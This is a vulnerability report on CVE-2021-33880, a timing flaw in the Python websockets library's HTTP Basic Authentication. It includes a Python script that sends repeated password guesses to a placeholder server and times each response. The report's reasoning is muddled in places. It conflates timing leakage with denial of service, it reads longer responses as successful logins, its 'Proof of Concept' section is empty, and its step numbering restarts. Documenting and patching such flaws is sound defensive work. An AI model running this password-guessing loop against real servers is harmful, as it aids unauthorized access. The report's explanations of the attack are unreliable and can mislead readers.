Timing-Based Authentication Vulnerability in aaugustin WebSockets Library

Overview of the Vulnerability (CVE-2021-33880)

The aaugustin websockets library, before version 9.1 for Python, is vulnerable to an Observable Timing Discrepancy when utilizing HTTP Basic Authentication with the basic_auth_protocol_factory(credentials=...) function. This vulnerability allows attackers to potentially deduce valid passwords through a timing attack. By analyzing the time taken for the server to respond to authentication requests, attackers can iteratively guess passwords and infer their correctness based on observed timing discrepancies.

It enables attackers to exploit timing discrepancies in the authentication process to potentially deduce valid passwords. By repeatedly guessing passwords and analyzing server response times, attackers can cause a denial of service by overwhelming the server with authentication requests. Therefore, this vulnerability directly relates to a method of initiating a denial of service attack at the application level.

Business Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive resources, potentially resulting in severe consequences such as data breaches, financial loss, and reputational damage for affected businesses. Unauthorized access to critical systems or data can compromise the integrity, confidentiality, and availability of information assets, undermining trust and confidence in the affected organization.

Steps to Reproduce

1. Identify Target Endpoint: Determine the URL of the application endpoint configured with HTTP Basic Authentication, e.g., http://vulnerable-websockets-server.com/auth.

2. Setup Script for Timing Analysis: Develop a script capable of measuring timing discrepancies in server responses. Below is a Python script example using the requests library:

import time
import requests

url = "http://vulnerable-websockets-server.com/auth"
username = "admin"
# List of potential passwords to test
passwords = ["password1", "password2", "password3", ...] 

def timing_attack():
    for password in passwords:
        start_time = time.time()
        # Send authentication request
        response = requests.get(url, auth=(username, password))
        elapsed_time = time.time() - start_time
        print(f"Password: {password}, Time: {elapsed_time:.6f} seconds")

if __name__ == "__main__":
    timing_attack()

1. Execute Timing Attack Script: Run the script to iteratively send authentication requests with different password guesses.

2. Analyze Timing Discrepancies: Observe the response times and analyze for noticeable discrepancies. Longer response times may indicate successful authentication attempts, allowing attackers to deduce valid passwords.

Proof of Concept (PoC)

The timing discrepancies observed in server responses for different password guesses are depicted below:

Recommendation(s)

• Upgrade Software: Update to aaugustin websockets library version 9.1 or later to mitigate this vulnerability.

• Implement Countermeasures: Employ countermeasures such as constant-time comparison functions for password verification to thwart timing attacks effectively.

• Introduce Random Delays: Introduce random timing delays in server responses to obscure timing discrepancies and enhance security against such attacks.